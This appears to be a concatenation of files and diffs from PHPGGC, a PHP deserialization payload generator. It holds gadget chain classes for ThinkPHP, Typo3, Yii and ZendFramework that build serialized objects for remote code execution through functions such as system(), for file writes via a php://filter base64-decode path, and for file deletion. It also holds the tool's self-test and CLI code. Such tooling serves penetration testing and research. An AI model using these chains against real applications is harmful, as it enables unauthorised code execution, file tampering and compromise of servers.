108 class Memcached
109 {
110 protected $tag;
111 protected $options;
112 protected $handler;
113
114 public function __construct($path)
115 {
116 $this->tag = true;
117 $this->options = [
118 'expire' => 0,
119 'prefix' => '',
120 ];
121 $this->handler = new File($path);
122 }
123 }
124
125 class File
126 {
127 protected $tag;
128 protected $options;
129
130 public function __construct($path)
131 {
132 $this->tag = false;
133 $this->options = [
134 'expire' => 3600,
135 'cache_subdir' => false,
136 'prefix' => '',
137 'data_compress' => false,
138 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
139 ];
140 }
141 }
142 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.0-5.0.03';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 class Process
5 {
6 private $processPipes;
7 private $status = 3;
8 private $processInformation = ['running' => true];
9
10 public function __construct($path,$data)
11 {
12 $this->processPipes = new \think\model\Relation($path, $data);
13 }
14 }
15 }
16
17
18 namespace think\model
19 {
20 use think\console\Output;
21
22 class Relation
23 {
24 protected $query;
25 protected $type = 2; // HAS_MANY
26 protected $where;
27
28 public function __construct($path,$data)
29 {
30 $this->where = $data;
31 $this->query = new Output($path);
32 }
33 }
34 }
35
36
37 namespace think\console
38 {
39 class Output
40 {
41 protected $styles = [
42 'where'
43 ];
44 private $handle;
45
46 public function __construct($path)
47 {
48 $this->handle = new \think\session\driver\Memcache($path);
49 }
50 }
51 }
52
53
54 namespace think\session\driver
55 {
56 class Memcache
57 {
58 protected $handler;
59
60 public function __construct($path)
61 {
62 $this->handler = new \think\cache\driver\Memcached($path);
63 }
64 }
65 }
66
67
68 namespace think\cache\driver
69 {
70 class Memcached
71 {
72 protected $tag;
73 protected $options;
74 protected $handler;
75
76 public function __construct($path)
77 {
78 $this->tag = true;
79 $this->options = [
80 'expire' => 0,
81 'prefix' => '',
82 ];
83 $this->handler = new File($path);
84 }
85 }
86
87 class File
88 {
89 protected $tag;
90 protected $options;
91
92 public function __construct($path)
93 {
94 $this->tag = false;
95 $this->options = [
96 'expire' => 3600,
97 'cache_subdir' => false,
98 'prefix' => '',
99 'data_compress' => false,
100 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
101 ];
102 }
103 }
104 }
1212 namespace think\model\concern {
1313 trait Conversion
1414 {
15 protected $append = array("Smi1e" => "1");
15 protected $append = array("smi1e" => "1");
1616 }
1717
1818 trait Attribute
1919 {
2020 private $data;
21 private $withAttr = array("Smi1e" => "system");
21 private $withAttr = array("smi1e" => "system");
2222
2323 public function get($system)
2424 {
25 $this->data = array("Smi1e" => "$system");
25 $this->data = array("smi1e" => "$system");
2626 }
2727 }
2828 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'kemmio';
9 public static $information = '
10 This chain can only execute any function including system().
11 Shoutout to c014 the 0ctf 2021 challenge creator!
12 See the full writeup for the chain at https://blog.hexens.io/
13 ';
14
15 public function generate(array $parameters)
16 {
17 $function = $parameters['function'];
18 $parameter = $parameters['parameter'];
19 return new \think\process\pipes\Windows($function, $parameter);
20 }
21 }
0 <?php
1
2 namespace think\process\pipes
3 {
4 use think\model\Pivot;
5
6 class Pipes
7 {
8 }
9
10 class Windows extends Pipes
11 {
12 private $files = [];
13
14 function __construct($function, $parameter)
15 {
16 $this->files = [new Pivot($function, $parameter)];
17 }
18 }
19 }
20
21 namespace think\model
22 {
23 use think\db\Query;
24
25 abstract class Relation
26 {
27 }
28 }
29
30 namespace think\model\relation
31 {
32 use think\model\Relation;
33 use think\db\Query;
34
35 abstract class OneToOne extends Relation
36 {
37 }
38
39 class HasOne extends OneToOne
40 {
41 protected $selfRelation;
42 protected $query;
43 protected $bindAttr = [];
44
45 function __construct($function, $parameter)
46 {
47 $this->bindAttr = ["no", "123"];
48 $this->selfRelation = false;
49 $this->query = new Query($function, $parameter);
50 }
51 }
52 }
53
54
55 namespace think
56 {
57 use think\model\relation\HasOne;
58 use think\console\Output;
59 use think\db\Query;
60
61 abstract class Model
62 {
63 protected $append = [];
64 protected $error;
65 protected $parent;
66 protected $selfRelation;
67 protected $query;
68
69 function __construct($function, $parameter)
70 {
71 $this->append = ['getError'];
72 $this->error = new HasOne($function, $parameter);
73 $this->parent = new Output($function, $parameter);
74 $this->selfRelation = false;
75 $this->query = new Query($function, $parameter);
76 }
77 }
78 }
79
80
81 namespace think\db
82 {
83 use think\console\Output;
84
85 class Query
86 {
87 protected $model;
88 function __construct($function, $parameter)
89 {
90 $this->model = new Output($function, $parameter);
91 }
92 }
93 }
94
95
96 namespace think\console
97 {
98 use think\session\driver\Memcached;
99
100 class Output
101 {
102 private $handle = null;
103 protected $styles = [];
104
105 function __construct($function, $parameter)
106 {
107 $this->handle = new Memcached($function, $parameter);
108 $this->styles = ['getAttr'];
109 }
110 }
111 }
112
113
114 namespace think\session\driver
115 {
116 use think\cache\driver\Memcache;
117
118 class Memcached
119 {
120 protected $handler = null;
121 protected $config = [];
122
123 function __construct($function, $parameter)
124 {
125 $this->handler = new Memcache($function, $parameter);
126 $this->config = [
127 'host' => '127.0.0.1',
128 'port' => 11211,
129 'expire' => 3600,
130 'timeout' => 0,
131 'session_name' => 'HEXENS',
132 'username' => '',
133 'password' => '',
134 ];
135 }
136 }
137 }
138
139
140
141 namespace think\cache\driver
142 {
143 use think\Request;
144
145 class Memcache
146 {
147 protected $options = [];
148 protected $handler = null;
149 protected $tag;
150
151 function __construct($function, $parameter)
152 {
153 $this->handler = new Request($function, $parameter);
154 $this->options = [
155 'expire' => 0,
156 'cache_subdir' => false,
157 'prefix' => '',
158 'path' => '',
159 'data_compress' => false,
160 ];
161 $this->tag = true;
162 }
163 }
164 }
165
166
167
168 namespace think
169 {
170 class Request
171 {
172 protected $get;
173 protected $filter;
174
175 function __construct($function, $parameter)
176 {
177 $this->get = ["HEXENS<getAttr>no<" => $parameter];
178 $this->filter = $function;
179 }
180 }
181 }
182
183
184 namespace think\model
185 {
186 use think\Model;
187
188 class Pivot extends Model
189 {
190 }
191 }
0 <?php
1
2 namespace GadgetChain\Typo3;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '4.5.35 <= 10.4.1';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions).
11 Target versions: commit 1cbe3d8c089d94d76af2b37aea481cbd8b0707f9, 5 Jul 2014 (v4.5.35) <= exploitable <= commit ab4fec2a1aea46488e3dc2b9cca0712f3fa202b0, 12 May 2020 (v10.4.1)
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace TYPO3\CMS\Extensionmanager\Controller;
3
4 class UploadExtensionFileController
5 {
6 public $extensionBackupPath;
7
8 public function __construct($extensionBackupPath) {
9 $this->extensionBackupPath = $extensionBackupPath;
10 }
11
12 }
0 <?php
1
2 namespace GadgetChain\Yii;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.1.20';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 $a = new \WikiPublishTask($function, $parameter);
16
17 return $a;
18 }
19 }
0 <?php
1
2 namespace Prophecy\Argument\Token
3 {
4 class ExactValueToken
5 {
6 private $util;
7 private $value;
8
9 function __construct($function, $parameter)
10 {
11 $this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
12 $this->value = $parameter;
13 }
14 }
15 }
16
17 namespace
18 {
19 class WikiPublishTask
20 {
21 private $cookiesFile;
22
23 function __construct($function, $parameter)
24 {
25 $this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken(
26 $function, $parameter
27 );
28 }
29 }
30
31 class PHPUnit_Extensions_Selenium2TestCase_Session
32 {
33 protected $commands;
34 protected $url;
35 protected $driver;
36
37 function __construct($function)
38 {
39 $this->commands = ['stringify' => $function];
40 $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
41 $this->driver = new DocBlox_Parallel_Worker();
42 }
43 }
44
45 class PHPUnit_Extensions_Selenium2TestCase_URL
46 {
47 }
48
49 class DocBlox_Parallel_Worker
50 {
51 }
52 }
77 public static $vector = '__destruct';
88 public static $author = 'mpchadwick';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 $file = $parameters['remote_file'];
15 $file = $parameters['remote_path'];
1616
1717 return new \Zend_Http_Response_Stream(
1818 true,
0 <?php
1
2 namespace GadgetChain\ZendFramework;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '2.0.0rc2 <= 2.5.3';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters["function"];
13 $parameter = $parameters["parameter"];
14
15 return new \Zend\Cache\Storage\Adapter\Memory($function, $parameter);
16 }
17 }
0 <?php
1 namespace Zend\Cache\Storage\Adapter
2 {
3 class Memory
4 {
5 protected $eventHandles;
6 protected $events;
7
8 function __construct($function, $param)
9 {
10 $this->eventHandles = [1];
11 $this->events = new \Zend\View\Renderer\PhpRenderer($function, $param);
12 }
13 }
14 }
15
16 namespace Zend\View\Renderer
17 {
18 class PhpRenderer
19 {
20 private $__helpers;
21
22 function __construct($function, $param)
23 {
24 $this->__helpers = new \Zend\Tag\Cloud\DecoratorPluginManager($function, $param);
25 }
26 }
27 }
28
29 namespace Zend\Tag\Cloud
30 {
31 class DecoratorPluginManager
32 {
33 protected $canonicalNames;
34 protected $invokableClasses;
35 protected $retrieveFromPeeringManagerFirst;
36 protected $initializers;
37
38 function __construct($function, $param)
39 {
40 $this->canonicalNames = array("detach"=>"cname","cname"=>"any");
41 $this->invokableClasses = array("cname"=>"Zend\Tag\Cloud\DecoratorPluginManager");//satisfying the class_exists
42 $this->retrieveFromPeeringManagerFirst = false;
43 $this->initializers = [new \Zend\Filter\FilterChain($function, $param)];
44 }
45 }
46 }
47
48 namespace Zend\Filter
49 {
50 class FilterChain
51 {
52 protected $filters;
53
54 function __construct($function, $param)
55 {
56 $this->filters = new \SplFixedArray(2);
57 $this->filters[0] = array(
58 new \Zend\Json\Expr($param),
59 "__toString"
60 );
61 $this->filters[1] = $function;
62 }
63 }
64 }
65
66 namespace Zend\Json
67 {
68 class Expr
69 {
70 protected $expression;
71
72 function __construct($param)
73 {
74 $this->expression = $param;
75 }
76 }
77 }
1010 */
1111 class ASCIIStrings extends Enhancement
1212 {
13 public function __construct($full=false)
14 {
15 $this->full = $full;
16 }
17
1318 public function process_serialized($serialized)
1419 {
1520 $new = '';
2429 )
2530 )
2631 {
27
2832 $p_start = $matches[0][1];
2933 $p_start_string = $p_start + strlen($matches[0][0]);
3034 $length = $matches[1][0];
3135 $p_end_string = $p_start_string + $length;
3236
3337 # Check if this really is a serialized string
38 # This is error-prone: if a stirng contains a serialized string,
39 # for instance, ...
3440 if(!(
3541 strlen($serialized) > $p_end_string + 2 &&
3642 substr($serialized, $p_end_string, 2) == '";'
4652 for($i=0; $i < strlen($string); $i++)
4753 {
4854 $letter = $string[$i];
49 $clean_string .= ctype_print($letter) && $letter != '\\' ?
50 $letter :
51 sprintf("\\%02x", ord($letter));
52 ;
55 if($this->full || !ctype_print($letter) || $letter == '\\')
56 $letter = sprintf("\\%02x", ord($letter));
57
58 $clean_string .= $letter;
5359 }
5460
5561 # Make the replacement
55 {
66 public static $type = self::TYPE_FD;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file delete')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 return !file_exists($arguments['remote_path']);
21 }
22
23 public function test_cleanup($arguments)
24 {
25 if(file_exists($arguments['remote_path']))
26 unlink($arguments['remote_path']);
27 }
1028 }
55 {
66 public static $type = self::TYPE_FR;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file read')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 $expected = file_get_contents($arguments['remote_path']);
21 return strpos($output, $expected) !== false;
22 }
23
24 public function test_cleanup($arguments)
25 {
26 if(file_exists($arguments['remote_path']))
27 unlink($arguments['remote_path']);
28 }
1029 }
1919 $parameters['data'] = file_get_contents($local_path);
2020 return $parameters;
2121 }
22
23 public function test_setup()
24 {
25 return [
26 'local_path' => \PHPGGC\Util::rand_file('test file write'),
27 'remote_path' => \PHPGGC\Util::rand_path('', '.test')
28 ];
29 }
30
31 public function test_confirm($arguments, $output)
32 {
33 if(!file_exists($arguments['remote_path']))
34 return false;
35
36 $expected = file_get_contents($arguments['local_path']);
37 $obtained = file_get_contents($arguments['remote_path']);
38
39 return strpos($obtained, $expected) !== false;
40 }
41
42 public function test_cleanup($arguments)
43 {
44 if(file_exists($arguments['remote_path']))
45 unlink($arguments['remote_path']);
46 if(file_exists($arguments['local_path']))
47 unlink($arguments['local_path']);
48 }
2249 }
44 abstract class PHPInfo extends \PHPGGC\GadgetChain
55 {
66 public static $type = self::TYPE_INFO;
7
8 public function test_setup()
9 {
10 return [];
11 }
12
13 public function test_confirm($arguments, $output)
14 {
15 $expected = [
16 'phpinfo()',
17 'PHP Authors',
18 'Module Authors',
19 'PHP Variables'
20 ];
21 foreach($expected as $needle)
22 if(strpos($output, $needle) === false)
23 return false;
24
25 return true;
26 }
727 }
1212 public static $parameters = [
1313 'command'
1414 ];
15
16 public function test_setup()
17 {
18 $command = $this->_test_build_command();
19 return [
20 'command' => $command
21 ];
22 }
1523 }
1313 'function',
1414 'parameter'
1515 ];
16
17 public function test_setup()
18 {
19 $command = $this->_test_build_command();
20 return [
21 'function' => 'system',
22 'parameter' =>
23 $command
24 ];
25 }
1626 }
1212 public static $parameters = [
1313 'code'
1414 ];
15
16 public function test_setup()
17 {
18 # TODO file_put_contents() might be a better option here, but it'll work
19 # for now.
20 $command = $this->_test_build_command();
21 return [
22 'code' => 'system(' . var_export($command, true) . ');'
23 ];
24 }
1525 }
66 public static $type = self::TYPE_RCE;
77 # TBD by subclasses
88 public static $parameters = [];
9
10 /**
11 * The result of the command is not necessarily visible. We write the output
12 * to a file instead to be able to tell if the payload worked, even if
13 * there's no output.
14 */
15 protected function _test_build_command()
16 {
17 $this->__test_rand_token = sha1(rand());
18 $this->__test_rand_path = \PHPGGC\Util::rand_path();
19 return
20 'echo ' . $this->__test_rand_token .
21 ' > ' . $this->__test_rand_path
22 ;
23 }
24
25 public function test_confirm($arguments, $output)
26 {
27 if(!file_exists($this->__test_rand_path))
28 return false;
29 $result = file_get_contents($this->__test_rand_path);
30 return strpos($result, $this->__test_rand_token) !== false;
31 }
32
33 public function test_cleanup($arguments)
34 {
35 if(file_exists($this->__test_rand_path))
36 unlink($this->__test_rand_path);
37 }
938 }
66 public static $parameters = [
77 'uri'
88 ];
9
10 public function test_setup()
11 {
12 throw new \PHPGGC\Exception("SSRF payloads cannot be tested.");
13 }
14
15 public function test_confirm($arguments, $output)
16 {
17 return false;
18 }
919 }
1020 ?>
77 public static $parameters = [
88 'sql'
99 ];
10
11 public function test_setup()
12 {
13 throw new \PHPGGC\Exception("SQL injection payloads cannot be tested.");
14 }
15
16 public function test_confirm($arguments, $output)
17 {
18 return false;
19 }
1020 }
2020 *
2121 * Along with the generate() method, which converts parameters into an object,
2222 * three generic methods are available:
23 * - process_parameters($parameters)
24 * - process_object($object)
25 * - process_serialized($serialized)
23 * - process_parameters(array $parameters)
24 * - process_object(object $object)
25 * - process_serialized(string $serialized)
2626 *
2727 * Those methods are to be found in other PHPGGC classes, for instance the main
2828 * class for handling CLI, PHPGGC. Refer to their documentation to understand
5757 $this->load_gadgets();
5858 }
5959
60 /**
61 * Loads the gadgets required by the chain.
62 */
6063 protected function load_gadgets()
6164 {
6265 $directory = dirname((new \ReflectionClass($this))->getFileName());
7679 * Modifies given parameters if required.
7780 * Called before `generate()`.
7881 * This is called on the gadget chain's parameters, such as for instance
79 * "remote_file" and "local_file" for a file write chain.
82 * "remote_path" and "local_path" for a file write chain.
8083 *
8184 * @param array $parameters Gadget chain parameters
8285 * @return array Modified parameters
155158 $class = str_replace('\\', '/', $class);
156159 return $class;
157160 }
161
162 # Test methods - Internal use only
163
164 /**
165 * Returns arguments that need to be used to test the gadget chain.
166 * This method can also setup the testing environment, by creating a file
167 * for instance.
168 *
169 * @return array Arguments the payload need to be generated with, as a
170 * [key] => [test-value] associative array.
171 */
172 abstract public function test_setup();
173
174 /**
175 * Returns whether the deserialisation of the payload yielded the expected
176 * results.
177 *
178 * @param array arguments Arguments the payload was generated with
179 * @param string result Output of the test_payload.php command
180 *
181 * @return bool true if the payload executed successfully.
182 */
183 abstract public function test_confirm($arguments, $output);
184
185 /**
186 * Cleans up the test environment, e.g. removes a file created by
187 * test_setup().
188 *
189 * @param array arguments Arguments the payload was generated with
190 *
191 * @return null
192 */
193 public function test_cleanup($arguments)
194 {
195 }
158196 }
5151
5252 $phar = new \Phar($path);
5353 $phar->startBuffering();
54 $phar->addFromString("dummy", 'test');
5554 $phar->addFromString($this->parameters['filename'], 'test');
5655 $phar->setStub(
5756 $this->parameters['prefix'] .
0 <?php
1
2 namespace PHPGGC;
3
4 /**
5 * Utility functions.
6 */
7 class Util
8 {
9 /**
10 * Creates a file in the temporary directory.
11 *
12 * @param string $name Filename
13 * @param string $contents Contents of the file
14 *
15 * @return string Full path to the file
16 */
17 static public function temp_file($name, $contents)
18 {
19 $path = static::temp_path($name);
20 file_put_contents($path, $contents);
21 return $path;
22 }
23
24 /**
25 * Creates a file in the temporary directory.
26 *
27 * @param string $contents Contents of the file
28 * @param string $prefix A string to prepend to the filename
29 * @param string $suffix A string to append to the filename
30 *
31 * @return string Full path to the file
32 */
33 static public function rand_file($contents, $prefix='', $suffix='')
34 {
35 $path = static::rand_path($prefix, $suffix);
36 file_put_contents($path, $contents);
37 return $path;
38 }
39
40 /**
41 * Returns a random temporary file path.
42 *
43 * @param string $prefix A string to prepend to the filename
44 * @param string $suffix A string to append to the filename
45 *
46 * @return string Full path to the file
47 */
48 static public function rand_path($prefix='', $suffix='')
49 {
50 return static::temp_path(
51 $prefix . 'phpggc' . sha1(rand()) . $suffix
52 );
53 }
54
55 /**
56 * Returns a temporary file path whose basename is $name
57 *
58 * @param string $name Name of the temporary file
59 *
60 * @return string Full path to the file
61 */
62 static public function temp_path($name)
63 {
64 return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name;
65 }
66 }
3737 {
3838 global $argv;
3939
40 $parameters = $this->parse_cmdline($argv);
41
42 if($parameters === null)
40 $arguments = $this->parse_cmdline($argv);
41
42 if($arguments === null)
4343 return;
4444
45 if(count($parameters) < 1)
45 if(count($arguments) < 1)
4646 {
4747 $this->help();
4848 return;
4949 }
5050
51 $class = array_shift($parameters);
51 $class = array_shift($arguments);
5252 $gc = $this->get_gadget_chain($class);
5353
5454 $this->setup_enhancements();
55 $parameters = $this->get_type_parameters($gc, $parameters);
56 $generated = $this->serialize($gc, $parameters);
5755
5856 if(in_array('test-payload', $this->options))
59 $this->test_payload($gc, $generated);
57 {
58 if(count($arguments) > 0)
59 $this->o(
60 "WARNING: Testing a payload ignores payload arguments."
61 );
62 $this->test_payload($gc);
63 }
6064 else
65 {
66 $arguments = $this->get_type_arguments($gc, $arguments);
67 $generated = $this->serialize($gc, $arguments);
6168 $this->output_payload($generated);
62 }
63
64 /**
65 * Runs generated payload using the ./template/test_payload.php script.
66 * We have to use system() here, because the classes used during the
67 * deserialization process are already defined by PHPGGC, and there is no
68 * mechanism allowing to delete classes in PHP. Therefore, a new PHP process
69 * has to be created.
70 */
71 public function test_payload($gc, $payload)
69 }
70 }
71
72 /**
73 * Tests whether the payload works in the current environement.
74 * PHPGGC will generate test arguments, include vendor/autoload.php, run the
75 * payload, and check whether it was run successfully.
76 * The script will exit with status 0 if the payload triggered, 1 otherwise.
77 */
78 public function test_payload($gc)
7279 {
7380 $this->o('Trying to deserialize payload...');
81 $arguments = $gc->test_setup();
82 $payload = $this->serialize($gc, $arguments);
7483 $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector;
75 system(
84
85 # We have to use system() here, because the classes used during the
86 # deserialization process are already defined by PHPGGC, and there is no
87 # mechanism allowing to delete classes in PHP. Therefore, a new PHP process
88 # has to be created.
89 $output = shell_exec(
90 PHP_BINARY . ' ' .
7691 escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
7792 escapeshellarg($vector) . ' ' .
7893 escapeshellarg(base64_encode($payload))
7994 );
95 $result = $gc->test_confirm($arguments, $output);
96
97 $gc->test_cleanup($arguments);
98
99 if($result)
100 {
101 $this->o('SUCCESS: Payload triggered !');
102 exit(0);
103 }
104 else
105 {
106 $this->o('FAILURE: Payload did not trigger !');
107 exit(1);
108 }
80109 }
81110
82111 /**
128157 {
129158 $enhancements = [];
130159
160 if(
161 in_array('ascii-strings', $this->options) &&
162 in_array('armor-strings', $this->options)
163 ) {
164 $this->e(
165 'Both ascii-strings and armor-strings are both set but they ' .
166 'are mutually exclusive'
167 );
168 }
169
131170 if(isset($this->parameters['wrapper']))
132171 $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']);
133172 if(in_array('fast-destruct', $this->options))
134173 $enhancements[] = new Enhancement\FastDestruct();
135174 if(in_array('ascii-strings', $this->options))
136 $enhancements[] = new Enhancement\ASCIIStrings();
175 $enhancements[] = new Enhancement\ASCIIStrings(false);
176 if(in_array('armor-strings', $this->options))
177 $enhancements[] = new Enhancement\ASCIIStrings(true);
137178 if(isset($this->parameters['plus-numbers']))
138179 $enhancements[] = new Enhancement\PlusNumbers(
139180 $this->parameters['plus-numbers']
190231 }, $classes);
191232
192233 $gcs = array_combine($names, $classes);
193 ksort($gcs);
234 ksort($gcs, SORT_NATURAL);
194235
195236 return $gcs;
196237 }
200241 */
201242 public static function autoload_register()
202243 {
203 spl_autoload_register(array(static::class, 'autoload'));
244 spl_autoload_register([static::class, 'autoload']);
204245 }
205246
206247 /**
262303
263304 $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/';
264305
265 for($i=1;file_exists($base . $i);$i++);
306 for($i=1; file_exists($base . $i); $i++);
266307
267308 $base = $base . $i;
268309 mkdir($base, 0777, true);
526567 $this->o(' right after the unserialize() call, as opposed to at the end of the');
527568 $this->o(' script');
528569 $this->o(' -a, --ascii-strings');
529 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This');
530 $this->o(' replaces every non-ASCII value to an hexadecimal representation:');
531 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
570 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.');
571 $this->o(' This replaces every non-ASCII value to an hexadecimal representation:');
572 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
532573 $this->o(' This is experimental and it might not work in some cases.');
574 $this->o(' -A, --armor-strings');
575 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.');
576 $this->o(' This replaces every character to an hexadecimal representation:');
577 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\\41\\00\\42\\09\\0D";');
578 $this->o(' This is experimental and it might not work in some cases.');
579 $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get');
580 $this->o(' really long.');
533581 $this->o(' -n, --plus-numbers <types>');
534582 $this->o(' Adds a + symbol in front of every number symbol of the given type.');
535583 $this->o(' For instance, -n iO adds a + in front of every int and object name size:');
536584 $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}');
537585 $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +');
538586 $this->o(' -w, --wrapper <wrapper>');
539 $this->o(' Specifies a file containing either or both functions:');
540 $this->o(' - process_parameters($parameters): called right before object is created');
541 $this->o(' - process_object($object): called right before the payload is serialized');
542 $this->o(' - process_serialized($serialized): called right after the payload is serialized');
587 $this->o(' Specifies a file containing at least one wrapper functions:');
588 $this->o(' - process_parameters(array $parameters): called right before object is created');
589 $this->o(' - process_object(object $object): called right before the payload is serialized');
590 $this->o(' - process_serialized(string $serialized): called right after the payload is serialized');
543591 $this->o('');
544592 $this->o('ENCODING');
545593 $this->o(' -s, --soft Soft URLencode');
552600 $this->o('CREATION');
553601 $this->o(' -N, --new <framework> <type>');
554602 $this->o(' Creates the file structure for a new gadgetchain for given framework');
555 $this->o(' Example: ./phpggc -n Drupal RCE');
603 $this->o(' Example: ./phpggc -N Drupal RCE');
556604 $this->o(' --test-payload');
557605 $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.');
558606 $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.');
610658 # Enhancements
611659 'fast-destruct' => false,
612660 'ascii-strings' => false,
661 'armor-strings' => false,
613662 'plus-numbers' => true,
614663 # Encoders
615664 'soft' => false,
631680 'phar-jpeg' => 'pj',
632681 'phar-prefix' => 'pp',
633682 'phar-filename' => 'pf',
634 'new' => 'N'
683 'new' => 'N',
684 'ascii-strings' => 'a',
685 'armor-strings' => 'A'
635686 ] + $abbreviations;
636687
637688 # If we are in this function, the argument starts with a dash, so we
783834 }
784835
785836 /**
786 * Convert command line parameters into an array of named parameters,
837 * Converts command line arguments into an array of named arguments,
787838 * specific to the type of payload.
788839 */
789 protected function get_type_parameters($gc, $parameters)
790 {
791 $arguments = $gc::$parameters;
792
793 $values = @array_combine($arguments, $parameters);
794
795 if($values === false)
840 protected function get_type_arguments($gc, $arguments)
841 {
842 $keys = $gc::$parameters;
843 if(count($keys) != count($arguments))
796844 {
797845 $this->o($gc, 2);
798846 $this->e(
800848 $this->_get_command_line_gc($gc)
801849 );
802850 }
803
804 return $values;
851 return array_combine($keys, $arguments);
805852 }
806853
807854 protected function _get_command_line_gc($gc)
1313 catch(\PHPGGC\Exception $e)
1414 {
1515 print("ERROR: " . $e->getMessage() . "\n");
16 exit(1);
1617 }
0 #!/usr/bin/env python3
1 """
2 Test PHPGGC gadget chains against every version of a composer package.
3
4 Usage:
5 $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...]
6
7 Example:
8 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
9
10 Required executables:
11 The program requires phpggc and composer.
12 By default, it will use the `phpggc` from the current directory, and the
13 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
14 and `COMPOSER_PATH` environment variables.
15 If a file cannot be ran straight up, we'll try using `php <file>` instead.
16
17 Dependencies:
18 $ pip install rich
19
20 Versions:
21 You can specify package version by adding a semicolon to the package name:
22
23 # Tests version 1.6.0 and 1.6.3
24 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1
25
26 or with a range:
27
28 # Tests from version 5.0.0 to 6.1.3
29 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1
30
31 If no upper or lower version is present, every version before (resp. after)
32 the specified one will be tested:
33
34 # from doctrine 1.12.0 to the newest
35 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1
36 # from the first version of doctrine to 1.6.0
37 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1
38
39
40 Credit goes to @M4yFly for the original idea and implementation.
41 """
42
43 import subprocess
44 import argparse
45 import pathlib
46 import os
47 import re
48 import tempfile
49 import shutil
50
51 try:
52 from rich import print
53 except ImportError:
54 print("Please install the `rich` python3 package to use this program.")
55 print("$ pip install rich")
56 exit()
57
58
59 from rich.progress import Progress
60 from rich.table import Table
61
62
63 class Tester:
64 """Tests gadget chains against a composer package."""
65
66 _package = None
67 _cwd = None
68
69 def run(self):
70 args = setup_arguments()
71 self._cwd = os.curdir
72 self._gcs = args.gadget_chain
73 self._executor = Executor()
74 self._package = Package(args.package, executor=self._executor)
75
76 for gc in self._gcs:
77 self.ensure_gc_exists(gc)
78
79 php_version = self._executor.php("--version")[0].split("\n")[0]
80 print(f"Running on PHP version " f"[blue]{php_version}[/blue]" f".")
81
82 versions = self._package.get_target_versions()
83 print(
84 f"Testing {len(versions)} versions for "
85 f"[blue]{self._package.name}[/blue] against "
86 f"{len(self._gcs)} gadget chains."
87 )
88
